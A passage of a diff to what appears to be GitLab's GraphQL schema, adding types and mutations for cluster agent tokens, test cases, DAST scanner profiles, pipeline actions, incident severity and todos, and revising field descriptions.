+ A cursor for use in pagination. + """ + cursor: String! + + """ + The item at the end of the edge. + """ + node: ClusterAgent +} + +type ClusterAgentToken { + """ + Cluster agent this token is associated with + """ + clusterAgent: ClusterAgent + + """ + Timestamp the token was created + """ + createdAt: Time + + """ + Global ID of the token + """ + id: ClustersAgentTokenID! +} + +""" +The connection type for ClusterAgentToken. +""" +type ClusterAgentTokenConnection { + """ + A list of edges. + """ + edges: [ClusterAgentTokenEdge] + + """ + A list of nodes. + """ + nodes: [ClusterAgentToken] + + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! +} + +""" +Autogenerated input type of ClusterAgentTokenCreate +""" +input ClusterAgentTokenCreateInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Global ID of the cluster agent that will be associated with the new token + """ + clusterAgentId: ClustersAgentID! +} + +""" +Autogenerated return type of ClusterAgentTokenCreate +""" +type ClusterAgentTokenCreatePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + Token secret value. Make sure you save it - you won't be able to access it again + """ + secret: String + + """ + Token created after mutation + """ + token: ClusterAgentToken +} + +""" +Autogenerated input type of ClusterAgentTokenDelete +""" +input ClusterAgentTokenDeleteInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Global ID of the cluster agent token that will be deleted + """ + id: ClustersAgentTokenID! +} + +""" +Autogenerated return type of ClusterAgentTokenDelete +""" +type ClusterAgentTokenDeletePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! +} + +""" +An edge in a connection. +""" +type ClusterAgentTokenEdge { + """ + A cursor for use in pagination. + """ + cursor: String! + + """ + The item at the end of the edge. + """ + node: ClusterAgentToken +} + +""" +Identifier of Clusters::Agent +""" +scalar ClustersAgentID + +""" +Identifier of Clusters::AgentToken +""" +scalar ClustersAgentTokenID + type Commit { """ Author of the commit @@ -1971,12 +2253,12 @@ input ConfigureSastInput { clientMutationId: String """ - Payload containing SAST variable values (https://docs.gitlab.com/ee/user/application_security/sast/#available-variables). + SAST CI configuration for the project """ - configuration: JSON! + configuration: SastCiConfigurationInput! """ - Full path of the project. + Full path of the project """ projectPath: ID! } @@ -1996,9 +2278,14 @@ type ConfigureSastPayload { errors: [String!]! """ - JSON containing the status of MR creation. + Status of creating the commit for the supplied SAST CI configuration + """ + status: String! + + """ + Redirect path to use when the response is successful """ - result: JSON + successPath: String } """ @@ -2392,7 +2679,7 @@ input CreateEpicInput { clientMutationId: String """ - Indicates if the epic is confidential. Will be ignored if `confidential_epics` feature flag is disabled + Indicates if the epic is confidential """ confidential: Boolean @@ -2672,21 +2959,11 @@ input CreateSnippetInput { clientMutationId: String """ - Content of the snippet - """ - content: String - - """ Description of the snippet """ description: String """ - File name of the snippet - """ - fileName: String - - """ The project full path the snippet is associated with """ projectPath: ID @@ -2728,6 +3005,88 @@ type CreateSnippetPayload { } """ +Autogenerated input type of CreateTestCase +""" +input CreateTestCaseInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The test case description + """ + description: String + + """ + The IDs of labels to be added to the test case. + """ + labelIds: [ID!] + + """ + The project full path to create the test case + """ + projectPath: ID! + + """ + The test case title + """ + title: String! +} + +""" +Autogenerated return type of CreateTestCase +""" +type CreateTestCasePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The test case created + """ + testCase: Issue +} + +interface CurrentUserTodos { + """ + Todos for the current user + """ + currentUserTodos( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + State of the todos + """ + state: TodoStateEnum + ): TodoConnection! +} + +""" Autogenerated input type of DastOnDemandScanCreate """ input DastOnDemandScanCreateInput { @@ -2737,6 +3096,11 @@ input DastOnDemandScanCreateInput { clientMutationId: String """ + ID of the scanner profile to be used for the scan. + """ + dastScannerProfileId: DastScannerProfileID + + """ ID of the site profile to be used for the scan. """ dastSiteProfileId: DastSiteProfileID! @@ -2775,13 +3139,23 @@ enum DastScanTypeEnum { } """ -Represents a DAST scanner profile. +Represents a DAST scanner profile """ type DastScannerProfile { """ + Relative web path to the edit page of a scanner profile + """ + editPath: String + + """ ID of the DAST scanner profile """ - id: ID! + globalId: DastScannerProfileID! + + """ + ID of the DAST scanner profile. Deprecated in 13.4: Use `global_id` + """ + id: ID! @deprecated(reason: "Use `global_id`. Deprecated in 13.4") """ Name of the DAST scanner profile @@ -2789,7 +3163,7 @@ type DastScannerProfile { profileName: String """ - The maximum number of seconds allowed for the spider to traverse the site + The maximum number of minutes allowed for the spider to traverse the site """ spiderTimeout: Int @@ -2839,7 +3213,7 @@ input DastScannerProfileCreateInput { profileName: String! """ - The maximum number of seconds allowed for the spider to traverse the site. + The maximum number of minutes allowed for the spider to traverse the site. """ spiderTimeout: Int @@ -2866,7 +3240,47 @@ type DastScannerProfileCreatePayload { """ ID of the scanner profile. """ - id: ID + globalId: DastScannerProfileID + + """ + ID of the scanner profile.. Deprecated in 13.4: Use `global_id` + """ + id: ID @deprecated(reason: "Use `global_id`. Deprecated in 13.4") +} + +""" +Autogenerated input type of DastScannerProfileDelete +""" +input DastScannerProfileDeleteInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Full path for the project the scanner profile belongs to. + """ + fullPath: ID! + + """ + ID of the scanner profile to be deleted. + """ + id: DastScannerProfileID! +} + +""" +Autogenerated return type of DastScannerProfileDelete +""" +type DastScannerProfileDeletePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! } """ @@ -2885,7 +3299,67 @@ type DastScannerProfileEdge { } """ -Represents a DAST Site Profile. +Identifier of DastScannerProfile +""" +scalar DastScannerProfileID + +""" +Autogenerated input type of DastScannerProfileUpdate +""" +input DastScannerProfileUpdateInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The project the scanner profile belongs to. + """ + fullPath: ID! + + """ + ID of the scanner profile to be updated. + """ + id: DastScannerProfileID! + + """ + The name of the scanner profile. + """ + profileName: String! + + """ + The maximum number of minutes allowed for the spider to traverse the site. + """ + spiderTimeout: Int! + + """ + The maximum number of seconds allowed for the site under test to respond to a request. + """ + targetTimeout: Int! +} + +""" +Autogenerated return type of DastScannerProfileUpdate +""" +type DastScannerProfileUpdatePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + ID of the scanner profile. + """ + id: DastScannerProfileID +} + +""" +Represents a DAST Site Profile """ type DastSiteProfile { """ @@ -3131,7 +3605,7 @@ input DeleteAnnotationInput { clientMutationId: String """ - The global id of the annotation to delete + The global ID of the annotation to delete """ id: ID! } @@ -3152,7 +3626,7 @@ type DeleteAnnotationPayload { } """ -The response from the AdminSidekiqQueuesDeleteJobs mutation. +The response from the AdminSidekiqQueuesDeleteJobs mutation """ type DeleteJobsResponse { """ @@ -3174,7 +3648,37 @@ type DeleteJobsResponse { """ A single design """ -type Design implements DesignFields & Noteable { +type Design implements CurrentUserTodos & DesignFields & Noteable { + """ + Todos for the current user + """ + currentUserTodos( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + State of the todos + """ + state: TodoStateEnum + ): TodoConnection! + """ The diff refs for this design """ @@ -3312,11 +3816,11 @@ type Design implements DesignFields & Noteable { } """ -A design pinned to a specific version. The image field reflects the design as of the associated version. +A design pinned to a specific version. The image field reflects the design as of the associated version """ type DesignAtVersion implements DesignFields { """ - The underlying design. + The underlying design """ design: Design! @@ -3412,7 +3916,7 @@ type DesignAtVersionEdge { } """ -A collection of designs. +A collection of designs """ type DesignCollection { """ @@ -3952,6 +4456,41 @@ enum DesignVersionEvent { } """ +Autogenerated input type of DestroyBoard +""" +input DestroyBoardInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The global ID of the board to destroy + """ + id: BoardID! +} + +""" +Autogenerated return type of DestroyBoard +""" +type DestroyBoardPayload { + """ + The board after mutation + """ + board: Board + + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! +} + +""" Autogenerated input type of DestroyNote """ input DestroyNoteInput { @@ -4567,9 +5106,9 @@ type EnvironmentEdge { } """ -Represents an epic. +Represents an epic """ -type Epic implements Noteable { +type Epic implements CurrentUserTodos & Noteable { """ Author of the epic """ @@ -4673,6 +5212,36 @@ type Epic implements Noteable { createdAt: Time """ + Todos for the current user + """ + currentUserTodos( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + State of the todos + """ + state: TodoStateEnum + ): TodoConnection! + + """ Number of open and closed descendant epics and issues """ descendantCounts: EpicDescendantCount @@ -5034,7 +5603,7 @@ type EpicConnection { } """ -Counts of descendent epics. +Counts of descendent epics """ type EpicDescendantCount { """ @@ -5109,9 +5678,19 @@ type EpicHealthStatus { } """ +Identifier of Epic +""" +scalar EpicID + +""" Relationship between an epic and an issue """ -type EpicIssue implements Noteable { +type EpicIssue implements CurrentUserTodos & Noteable { + """ + Alert associated to this issue + """ + alertManagementAlert: AlertManagementAlert + """ Assignees of the issue """ @@ -5163,6 +5742,36 @@ type EpicIssue implements Noteable { createdAt: Time! """ + Todos for the current user + """ + currentUserTodos( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + State of the todos + """ + state: TodoStateEnum + ): TodoConnection! + + """ Description of the issue """ description: String @@ -5353,6 +5962,11 @@ type EpicIssue implements Noteable { relativePosition: Int """ + Severity level of the incident + """ + severity: IssuableSeverity + + """ State of the issue """ state: IssueState! @@ -5589,7 +6203,7 @@ enum EpicSort { } """ -State of an epic. +State of an epic """ enum EpicState { all @@ -5672,6 +6286,21 @@ type EpicTreeReorderPayload { errors: [String!]! } +""" +Epic ID wildcard values +""" +enum EpicWildcardId { + """ + Any epic is assigned + """ + ANY + + """ + No epic is assigned + """ + NONE +} + type GeoNode { """ The maximum concurrency of container repository sync for this secondary node @@ -5709,7 +6338,7 @@ type GeoNode { name: String """ - Package file registries of the GeoNode. Available only when feature flag `geo_self_service_framework` is enabled + Package file registries of the GeoNode. Available only when feature flag `geo_package_file_replication` is enabled """ packageFileRegistries( """ @@ -5789,6 +6418,37 @@ type GeoNode { syncObjectStorage: Boolean """ + Find terraform state registries on this Geo node. Available only when feature + flag `geo_terraform_state_replication` is enabled + """ + terraformStateRegistries( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Filters registries by their ID + """ + ids: [ID!] + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): TerraformStateRegistryConnection + + """ The user-facing URL for this Geo node """ url: String @@ -6057,6 +6717,36 @@ type Group { fullPath: ID! """ + A membership of a user within this group + """ + groupMembers( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + Search query + """ + search: String + ): GroupMemberConnection + + """ Indicates if Group timelogs are enabled for namespace """ groupTimelogsEnabled: Boolean @@ -6403,6 +7093,16 @@ type Group { Returns the last _n_ elements from the list. """ last: Int + + """ + Search project with most similar names or paths + """ + search: String = null + + """ + Sort projects by this criteria + """ + sort: NamespaceProjectSort = null ): ProjectConnection! """ @@ -6520,6 +7220,16 @@ type Group { first: Int """ + Returns only the vulnerabilities which have linked issues + """ + hasIssues: Boolean + + """ + Returns only the vulnerabilities which have been resolved on default branch + """ + hasResolution: Boolean + + """ Returns the last _n_ elements from the list. """ last: Int @@ -6545,6 +7255,11 @@ type Group { severity: [VulnerabilitySeverity!] """ + List vulnerabilities by sort order + """ + sort: VulnerabilitySort = severity_desc + + """ Filter vulnerabilities by state """ state: [VulnerabilityState!] @@ -6652,13 +7367,43 @@ type Group { ): VulnerabilityScannerConnection """ + Counts for each vulnerability severity in the group and its subgroups + """ + vulnerabilitySeveritiesCount( + """ + Filter vulnerabilities by project + """ + projectId: [ID!] + + """ + Filter vulnerabilities by report type + """ + reportType: [VulnerabilityReportType!] + + """ + Filter vulnerabilities by scanner + """ + scanner: [String!] + + """ + Filter vulnerabilities by severity + """ + severity: [VulnerabilitySeverity!] + + """ + Filter vulnerabilities by state + """ + state: [VulnerabilityState!] + ): VulnerabilitySeveritiesCount + + """ Web URL of the group """ webUrl: String! } """ -Represents a Group Member +Represents a Group Membership """ type GroupMember implements MemberInterface { """ @@ -6687,11 +7432,21 @@ type GroupMember implements MemberInterface { group: Group """ + ID of the member + """ + id: ID! + + """ Date and time the membership was last updated """ updatedAt: Time """ + User that is associated with the member object + """ + user: User! + + """ Permissions for the current user on the resource """ userPermissions: GroupPermissions! @@ -6808,6 +7563,121 @@ type InstanceSecurityDashboard { """ last: Int ): VulnerabilityScannerConnection + + """ + Counts for each vulnerability severity from projects selected in Instance Security Dashboard + """ + vulnerabilitySeveritiesCount( + """ + Filter vulnerabilities by project + """ + projectId: [ID!] + + """ + Filter vulnerabilities by report type + """ + reportType: [VulnerabilityReportType!] + + """ + Filter vulnerabilities by scanner + """ + scanner: [String!] + + """ + Filter vulnerabilities by severity + """ + severity: [VulnerabilitySeverity!] + + """ + Filter vulnerabilities by state + """ + state: [VulnerabilityState!] + ): VulnerabilitySeveritiesCount +} + +""" +Represents a recorded measurement (object count) for the Admins +""" +type InstanceStatisticsMeasurement { + """ + Object count + """ + count: Int! + + """ + The type of objects being measured + """ + identifier: MeasurementIdentifier! + + """ + The time the measurement was recorded + """ + recordedAt: Time +} + +""" +The connection type for InstanceStatisticsMeasurement. +""" +type InstanceStatisticsMeasurementConnection { + """ + A list of edges. + """ + edges: [InstanceStatisticsMeasurementEdge] + + """ + A list of nodes. + """ + nodes: [InstanceStatisticsMeasurement] + + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! +} + +""" +An edge in a connection. +""" +type InstanceStatisticsMeasurementEdge { + """ + A cursor for use in pagination. + """ + cursor: String! + + """ + The item at the end of the edge. + """ + node: InstanceStatisticsMeasurement +} + +""" +Incident severity +""" +enum IssuableSeverity { + """ + Critical severity + """ + CRITICAL + + """ + High severity + """ + HIGH + + """ + Low severity + """ + LOW + + """ + Medium severity + """ + MEDIUM + + """ + Unknown severity + """ + UNKNOWN } """ @@ -6820,7 +7690,12 @@ enum IssuableState { opened } -type Issue implements Noteable { +type Issue implements CurrentUserTodos & Noteable { + """ + Alert associated to this issue + """ + alertManagementAlert: AlertManagementAlert + """ Assignees of the issue """ @@ -6872,6 +7747,36 @@ type Issue implements Noteable { createdAt: Time! """ + Todos for the current user + """ + currentUserTodos( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + State of the todos + """ + state: TodoStateEnum + ): TodoConnection! + + """ Description of the issue """ description: String @@ -7052,6 +7957,11 @@ type Issue implements Noteable { relativePosition: Int """ + Severity level of the incident + """ + severity: IssuableSeverity + + """ State of the issue """ state: IssueState! @@ -7173,6 +8083,11 @@ type IssueEdge { } """ +Identifier of Issue +""" +scalar IssueID + +""" Autogenerated input type of IssueMoveList """ input IssueMoveListInput { @@ -7187,6 +8102,11 @@ input IssueMoveListInput { clientMutationId: String """ + The ID of the parent epic. NULL when removing the association + """ + epicId: EpicID + + """ ID of the board list that the issue will be moved from """ fromListId: ID @@ -7197,12 +8117,12 @@ input IssueMoveListInput { iid: String! """ - ID of issue after which the current issue will be positioned at + ID of issue that should be placed after the current issue """ moveAfterId: ID """ - ID of issue before which the current issue will be positioned at + ID of issue that should be placed before the current issue """ moveBeforeId: ID @@ -7558,6 +8478,51 @@ type IssueSetLockedPayload { } """ +Autogenerated input type of IssueSetSeverity +""" +input IssueSetSeverityInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The IID of the issue to mutate + """ + iid: String! + + """ + The project the issue to mutate is in + """ + projectPath: ID! + + """ + Set the incident severity level. + """ + severity: IssuableSeverity! +} + +""" +Autogenerated return type of IssueSetSeverity +""" +type IssueSetSeverityPayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The issue after mutation + """ + issue: Issue +} + +""" Autogenerated input type of IssueSetSubscription """ input IssueSetSubscriptionInput { @@ -7738,7 +8703,7 @@ enum IssueState { } """ -Represents total number of issues for the represented statuses. +Represents total number of issues for the represented statuses """ type IssueStatusCountsType { """ @@ -7770,12 +8735,22 @@ enum IssueType { Issue issue type """ ISSUE + + """ + Test Case issue type + """ + TEST_CASE } """ -Represents an iteration object. +Represents an iteration object """ -type Iteration { +type Iteration implements TimeboxBurnupTimeSeriesInterface { + """ + Daily scope and completed totals for burnup charts + """ + burnupTimeSeries: [BurnupChartDailyTotals!] + """ Timestamp of iteration creation """ @@ -8176,7 +9151,7 @@ type JiraUser { gitlabUsername: String """ - Account id of the Jira user + Account ID of the Jira user """ jiraAccountId: String! @@ -8319,6 +9294,41 @@ type MarkAsSpamSnippetPayload { snippet: Snippet } +""" +Possible identifier types for a measurement +""" +enum MeasurementIdentifier { + """ + Group count + """ + GROUPS + + """ + Issue count + """ + ISSUES + + """ + Merge request count + """ + MERGE_REQUESTS + + """ + Pipeline count + """ + PIPELINES + + """ + Project count + """ + PROJECTS + + """ + User count + """ + USERS +} + interface MemberInterface { """ GitLab::Access level @@ -8341,18 +9351,78 @@ interface MemberInterface { expiresAt: Time """ + ID of the member + """ + id: ID! + + """ Date and time the membership was last updated """ updatedAt: Time + + """ + User that is associated with the member object + """ + user: User! +} + +""" +The connection type for MemberInterface. +""" +type MemberInterfaceConnection { + """ + A list of edges. + """ + edges: [MemberInterfaceEdge] + + """ + A list of nodes. + """ + nodes: [MemberInterface] + + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! } -type MergeRequest implements Noteable { +""" +An edge in a connection. +""" +type MemberInterfaceEdge { + """ + A cursor for use in pagination. + """ + cursor: String! + + """ + The item at the end of the edge. + """ + node: MemberInterface +} + +type MergeRequest implements CurrentUserTodos & Noteable { """ Indicates if members of the target project can push to the fork """ allowCollaboration: Boolean """ + Number of approvals left + """ + approvalsLeft: Int + + """ + Number of approvals required + """ + approvalsRequired: Int + + """ + Indicates if the merge request has all the required approvals. Returns true if no required approvals are configured. + """ + approved: Boolean! + + """ Users who approved the merge request """ approvedBy( @@ -8408,16 +9478,56 @@ type MergeRequest implements Noteable { author: User """ + Indicates if auto merge is enabled for the merge request + """ + autoMergeEnabled: Boolean! + + """ Number of commits in the merge request """ commitCount: Int """ + Indicates if the merge request has conflicts + """ + conflicts: Boolean! + + """ Timestamp of when the merge request was created """ createdAt: Time! """ + Todos for the current user + """ + currentUserTodos( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + State of the todos + """ + state: TodoStateEnum + ): TodoConnection! + + """ Default merge commit message of the merge request """ defaultMergeCommitMessage: String @@ -8675,7 +9785,7 @@ type MergeRequest implements Noteable { Filter pipelines by their status """ status: PipelineStatusEnum - ): PipelineConnection! + ): PipelineConnection """ Alias for target_project @@ -8933,6 +10043,11 @@ type MergeRequestPermissions { adminMergeRequest: Boolean! """ + Indicates the user can perform `can_merge` on this resource + """ + canMerge: Boolean! + + """ Indicates the user can perform `cherry_pick_on_current_merge_request` on this resource """ cherryPickOnCurrentMergeRequest: Boolean! @@ -9249,6 +10364,71 @@ type MergeRequestSetWipPayload { } """ +Values for sorting merge requests +""" +enum MergeRequestSort { + """ + Label priority by ascending order + """ + LABEL_PRIORITY_ASC + + """ + Label priority by descending order + """ + LABEL_PRIORITY_DESC + + """ + Merge time by ascending order + """ + MERGED_AT_ASC + + """ + Merge time by descending order + """ + MERGED_AT_DESC + + """ + Milestone due date by ascending order + """ + MILESTONE_DUE_ASC + + """ + Milestone due date by descending order + """ + MILESTONE_DUE_DESC + + """ + Priority by ascending order + """ + PRIORITY_ASC + + """ + Priority by descending order + """ + PRIORITY_DESC + + """ + Created at ascending order + """ + created_asc + + """ + Created at descending order + """ + created_desc + + """ + Updated at ascending order + """ + updated_asc + + """ + Updated at descending order + """ + updated_desc +} + +""" State of a GitLab merge request """ enum MergeRequestState { @@ -9436,9 +10616,14 @@ type MetricsDashboardAnnotationEdge { } """ -Represents a milestone. +Represents a milestone """ -type Milestone { +type Milestone implements TimeboxBurnupTimeSeriesInterface { + """ + Daily scope and completed totals for burnup charts + """ + burnupTimeSeries: [BurnupChartDailyTotals!] + """ Timestamp of milestone creation """ @@ -9591,6 +10776,9 @@ type Mutation { awardEmojiToggle(input: AwardEmojiToggleInput!): AwardEmojiTogglePayload boardListCreate(input: BoardListCreateInput!): BoardListCreatePayload boardListUpdateLimitMetrics(input: BoardListUpdateLimitMetricsInput!): BoardListUpdateLimitMetricsPayload + clusterAgentDelete(input: ClusterAgentDeleteInput!): ClusterAgentDeletePayload + clusterAgentTokenCreate(input: ClusterAgentTokenCreateInput!): ClusterAgentTokenCreatePayload + clusterAgentTokenDelete(input: ClusterAgentTokenDeleteInput!): ClusterAgentTokenDeletePayload commitCreate(input: CommitCreateInput!): CommitCreatePayload configureSast(input: ConfigureSastInput!): ConfigureSastPayload createAlertIssue(input: CreateAlertIssueInput!): CreateAlertIssuePayload @@ -9604,8 +10792,11 @@ type Mutation { createNote(input: CreateNoteInput!): CreateNotePayload createRequirement(input: CreateRequirementInput!): CreateRequirementPayload createSnippet(input: CreateSnippetInput!): CreateSnippetPayload + createTestCase(input: CreateTestCaseInput!): CreateTestCasePayload dastOnDemandScanCreate(input: DastOnDemandScanCreateInput!): DastOnDemandScanCreatePayload dastScannerProfileCreate(input: DastScannerProfileCreateInput!): DastScannerProfileCreatePayload + dastScannerProfileDelete(input: DastScannerProfileDeleteInput!): DastScannerProfileDeletePayload + dastScannerProfileUpdate(input: DastScannerProfileUpdateInput!): DastScannerProfileUpdatePayload dastSiteProfileCreate(input: DastSiteProfileCreateInput!): DastSiteProfileCreatePayload dastSiteProfileDelete(input: DastSiteProfileDeleteInput!): DastSiteProfileDeletePayload dastSiteProfileUpdate(input: DastSiteProfileUpdateInput!): DastSiteProfileUpdatePayload @@ -9613,6 +10804,7 @@ type Mutation { designManagementDelete(input: DesignManagementDeleteInput!): DesignManagementDeletePayload designManagementMove(input: DesignManagementMoveInput!): DesignManagementMovePayload designManagementUpload(input: DesignManagementUploadInput!): DesignManagementUploadPayload + destroyBoard(input: DestroyBoardInput!): DestroyBoardPayload destroyNote(input: DestroyNoteInput!): DestroyNotePayload destroySnippet(input: DestroySnippetInput!): DestroySnippetPayload @@ -9631,6 +10823,7 @@ type Mutation { issueSetEpic(input: IssueSetEpicInput!): IssueSetEpicPayload issueSetIteration(input: IssueSetIterationInput!): IssueSetIterationPayload issueSetLocked(input: IssueSetLockedInput!): IssueSetLockedPayload + issueSetSeverity(input: IssueSetSeverityInput!): IssueSetSeverityPayload issueSetSubscription(input: IssueSetSubscriptionInput!): IssueSetSubscriptionPayload issueSetWeight(input: IssueSetWeightInput!): IssueSetWeightPayload jiraImportStart(input: JiraImportStartInput!): JiraImportStartPayload @@ -9649,9 +10842,12 @@ type Mutation { """ mergeRequestUpdate(input: MergeRequestUpdateInput!): MergeRequestUpdatePayload namespaceIncreaseStorageTemporarily(input: NamespaceIncreaseStorageTemporarilyInput!): NamespaceIncreaseStorageTemporarilyPayload + pipelineCancel(input: PipelineCancelInput!): PipelineCancelPayload + pipelineDestroy(input: PipelineDestroyInput!): PipelineDestroyPayload + pipelineRetry(input: PipelineRetryInput!): PipelineRetryPayload removeAwardEmoji(input: RemoveAwardEmojiInput!): RemoveAwardEmojiPayload @deprecated(reason: "Use awardEmojiRemove. Deprecated in 13.2") removeProjectFromSecurityDashboard(input: RemoveProjectFromSecurityDashboardInput!): RemoveProjectFromSecurityDashboardPayload - runDastScan(input: RunDASTScanInput!): RunDASTScanPayload + runDastScan(input: RunDASTScanInput!): RunDASTScanPayload @deprecated(reason: "Use DastOnDemandScanCreate. Deprecated in 13.4") todoMarkDone(input: TodoMarkDoneInput!): TodoMarkDonePayload todoRestore(input: TodoRestoreInput!): TodoRestorePayload todoRestoreMany(input: TodoRestoreManyInput!): TodoRestoreManyPayload @@ -9679,10 +10875,11 @@ type Mutation { updateNote(input: UpdateNoteInput!): UpdateNotePayload updateRequirement(input: UpdateRequirementInput!): UpdateRequirementPayload updateSnippet(input: UpdateSnippetInput!): UpdateSnippetPayload + vulnerabilityResolve(input: VulnerabilityResolveInput!): VulnerabilityResolvePayload } """ -Different toggles for changing mutator behavior. +Different toggles for changing mutator behavior """ enum MutationOperationMode { """ @@ -9780,6 +10977,16 @@ type Namespace { Returns the last _n_ elements from the list. """ last: Int + + """ + Search project with most similar names or paths + """ + search: String = null + + """ + Sort projects by this criteria + """ + sort: NamespaceProjectSort = null ): ProjectConnection! """ @@ -9878,7 +11085,17 @@ type NamespaceIncreaseStorageTemporarilyPayload { namespace: Namespace } -input NegatedBoardEpicIssueInput { +""" +Values for sorting projects +""" +enum NamespaceProjectSort { + """ + Most similar to the search query + """ + SIMILARITY +} + +input NegatedBoardIssueInput { """ Filter by assignee username """ @@ -9890,9 +11107,9 @@ input NegatedBoardEpicIssueInput { authorUsername: String """ - Filter by epic ID + Filter by epic ID. Incompatible with epicWildcardId """ - epicId: String + epicId: ID """ Filter by label name @@ -10283,6 +11500,11 @@ enum PackageTypeEnum { CONAN """ + Packages from the generic package manager + """ + GENERIC + + """ Packages from the maven package manager """ MAVEN @@ -10335,6 +11557,11 @@ type Pipeline { beforeSha: String """ + Specifies if a pipeline can be canceled + """ + cancelable: Boolean! + + """ Timestamp of the pipeline's commit """ committedAt: Time @@ -10382,6 +11609,11 @@ type Pipeline { iid: String! """ + Specifies if a pipeline can be retried + """ + retryable: Boolean! + + """ Vulnerability and scanned resource counts for each security scanner of the pipeline """ securityReportSummary: SecurityReportSummary @@ -10443,6 +11675,36 @@ type Pipeline { userPermissions: PipelinePermissions! } +""" +Autogenerated input type of PipelineCancel +""" +input PipelineCancelInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The id of the pipeline to mutate + """ + id: CiPipelineID! +} + +""" +Autogenerated return type of PipelineCancel +""" +type PipelineCancelPayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! +} + enum PipelineConfigSourceEnum { AUTO_DEVOPS_SOURCE BRIDGE_SOURCE @@ -10480,6 +11742,36 @@ type PipelineConnection { } """ +Autogenerated input type of PipelineDestroy +""" +input PipelineDestroyInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The id of the pipeline to mutate + """ + id: CiPipelineID! +} + +""" +Autogenerated return type of PipelineDestroy +""" +type PipelineDestroyPayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! +} + +""" An edge in a connection. """ type PipelineEdge { @@ -10511,6 +11803,41 @@ type PipelinePermissions { updatePipeline: Boolean! } +""" +Autogenerated input type of PipelineRetry +""" +input PipelineRetryInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The id of the pipeline to mutate + """ + id: CiPipelineID! +} + +""" +Autogenerated return type of PipelineRetry +""" +type PipelineRetryPayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The pipeline after mutation + """ + pipeline: Pipeline +} + enum PipelineStatusEnum { CANCELED CREATED @@ -10668,6 +11995,41 @@ type Project { ): BoardConnection """ + Find a single cluster agent by name + """ + clusterAgent( + """ + Name of the cluster agent + """ + name: String! + ): ClusterAgent + + """ + Cluster agents associated with the project + """ + clusterAgents( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): ClusterAgentConnection + + """ Compliance frameworks associated with the project """ complianceFrameworks( @@ -10733,6 +12095,16 @@ type Project { ): DastScannerProfileConnection """ + DAST Site Profile associated with the project + """ + dastSiteProfile( + """ + ID of the site profile + """ + id: DastSiteProfileID! + ): DastSiteProfile + + """ DAST Site Profiles associated with the project """ dastSiteProfiles( @@ -11309,6 +12681,16 @@ type Project { after: String """ + Username of the assignee + """ + 